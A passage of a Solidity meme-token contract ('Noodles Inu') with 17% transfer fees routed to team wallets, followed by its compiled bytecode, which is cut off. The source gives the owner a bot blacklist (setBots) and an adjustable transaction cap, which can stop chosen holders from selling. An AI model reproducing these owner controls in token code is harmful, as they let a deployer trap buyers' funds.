rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 12; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (2 minutes); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 5000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600b81526020017f4e6f6f646c657320496e75000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f4e6f6f646c6573496e7500000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550674563918244f400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b607842611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600c600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565